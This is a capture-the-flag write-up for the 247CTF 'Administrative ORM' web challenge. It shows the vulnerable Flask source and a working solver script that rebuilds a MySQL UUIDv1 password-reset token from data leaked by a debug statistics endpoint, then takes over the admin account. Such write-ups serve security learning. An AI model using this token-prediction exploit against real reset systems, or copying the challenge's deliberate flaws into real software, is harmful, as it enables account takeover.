ADMINISTRATIVE ORM [HARD]
Description
We started building a custom ORM for user management. Can you find any bugs before we push to production?
Source Code
Click here for source code in text format
import pymysql.cursors
import pymysql, os, bcrypt, debug
from flask import Flask, request
from secret import flag, secret_key, sql_user, sql_password, sql_database, sql_host
class ORM():
def __init__(self):
self.connection = pymysql.connect(host=sql_host, user=sql_user, password=sql_password, db=sql_database, cursorclass=pymysql.cursors.DictCursor)
def update(self, sql, parameters):
with self.connection.cursor() as cursor:
cursor.execute(sql, parameters)
self.connection.commit()
def query(self, sql, parameters):
with self.connection.cursor() as cursor:
cursor.execute(sql, parameters)
result = cursor.fetchone()
return result
def get_by_name(self, user):
return self.query('select * from users where username=%s', user)
def get_by_reset_code(self, reset_code):
return self.query('select * from users where reset_code=%s', reset_code)
def set_password(self, user, password):
password_hash = bcrypt.hashpw(password, bcrypt.gensalt())
self.update('update users set password=%s where username=%s', (password_hash, user))
def set_reset_code(self, user):
self.update('update users set reset_code=uuid() where username=%s', user)
app = Flask(__name__)
app.config['DEBUG'] = False
app.config['SECRET_KEY'] = secret_key
app.config['USER'] = 'admin'
@app.route("/get_flag")
def get_flag():
user_row = app.config['ORM'].get_by_name(app.config['USER'])
if bcrypt.checkpw(request.args.get('password','').encode('utf8'), user_row['password'].encode('utf8')):
return flag
return "Invalid password for %s!" % app.config['USER']
@app.route("/update_password")
def update_password():
user_row = app.config['ORM'].get_by_reset_code(request.args.get('reset_code',''))
if user_row:
app.config['ORM'].set_password(app.config['USER'], request.args.get('password','').encode('utf8'))
return "Password reset for %s!" % app.config['USER']
app.config['ORM'].set_reset_code(app.config['USER'])
return "Invalid reset code for %s!" % app.config['USER']
@app.route("/statistics") # TODO: remove statistics
def statistics():
return debug.statistics()
@app.route('/')
def source():
return "<pre>%s</pre>" % open(__file__).read()
@app.before_first_request
def before_first():
app.config['ORM'] = ORM()
app.config['ORM'].set_password(app.config['USER'], os.urandom(32).hex())
@app.errorhandler(Exception)
def error(error):
return "Something went wrong!"
if __name__ == "__main__":
app.run()
Short Solution Description / Tags
UUIDv1 Calculation
Solution
The reset_code needed to change the password is automatically generated using MySQL's UUID() function, and it is a UUIDv1:
def set_reset_code(self, user):
self.update('update users set reset_code=uuid() where username=%s', user)
MySQL :: MySQL 8.2 Reference Manual :: 12.23 Miscellaneous Functions
UUID() returns a value that conforms to UUID version 1 as described in RFC 4122.
Gathering the information by the /statistics endpoint such as a MAC Addreess to calculate the UUIDv1, change the password, and then got the flag.
solver.py
from datetime import datetime
import re
import requests
from uuid import UUID
s = requests.Session()
# s.proxies = {"https": "http://127.0.0.1:8080"}
s.verify = False
requests.packages.urllib3.disable_warnings()
BASE_URL = "https://47b8ddea058e5ec2.247ctf.com"
def set_reset_code():
s.get(f"{BASE_URL}/update_password")
def leak_uuid():
res = s.get(f"{BASE_URL}/statistics")
# e.g. last_reset: 2023-12-29 05:40:33.170573900
m = re.findall(r"last_reset: (.*)", res.text)
reset_time = m[0]
# UUIDv1 Implementation: https://github.com/python/cpython/blob/3.12/Lib/uuid.py#L692-L695
no_ns = datetime.strptime(reset_time[:-10], "%Y-%m-%d %H:%M:%S").strftime("%s")
no_ns = str(int(no_ns) + 60 * 60 * 9)
time_ns = no_ns + reset_time[-9:]
time_ns = int(time_ns)
timestamp = time_ns // 100 + 0x01B21DD213814000
time_low = timestamp & 0xFFFFFFFF
time_mid = (timestamp >> 32) & 0xFFFF
time_hi_version = (timestamp >> 48) & 0x0FFF
# e.g. HWaddr 02:42:AC:11:00:19
m = re.findall(r"HWaddr ([0-9A-F:]{17})", res.text)
node = m[0]
node = int(node.replace(":", "").lower(), base=16)
# e.g. clock_sequence: 3215
m = re.findall(r"clock_sequence: ([0-9].*)", res.text)
clock_seq = int(m[0])
clock_seq_low = clock_seq & 0xFF
clock_seq_hi_variant = (clock_seq >> 8) & 0x3F
# UUID: https://docs.python.org/3/library/uuid.html#uuid.UUID
uuid = UUID(
fields=(
time_low,
time_mid,
time_hi_version,
clock_seq_hi_variant,
clock_seq_low,
node,
),
version=1,
)
return str(uuid)
def main():
set_reset_code()
leaked_uuid = leak_uuid()
s.get(f"{BASE_URL}/update_password", params={"reset_code": leaked_uuid})
res = s.get(f"{BASE_URL}/get_flag")
print(res.text)
if __name__ == "__main__":
main()
Result:
$ python3 solver.py
247CTF{[REDACTED]}